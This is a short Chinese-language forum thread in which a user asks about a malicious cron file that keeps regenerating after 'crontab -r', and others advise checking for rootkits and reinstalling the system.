    执行 crontab -r,但还是会生成。

    ll /etc/cron.d
    -rw-r--r-- 1 root root 117 Apr 11 10:18 root
    

    这个文件随时在修改, vi 保存的时候提示 WARNING: The file has been changed since reading it!!!

    现在只能把 crontab 停止,然后重启机器。

    这是病毒脚本

    检查下是否有 rookit 吧。还有命令都要检查一遍。最后重装系统。

    你这个有点强势,我中的那个憨憨病毒因为没有 root 权限,直接 kill 掉连自启动都做不到

    如果你不能对系统里的所有文件进行排查,那么还是建议你重装系统。

    即使你今天发现了出问题的病毒文件,也不代表剩下的那些文件就没被改动过。
    可能过几天其它文件又让你系统后门大开了。
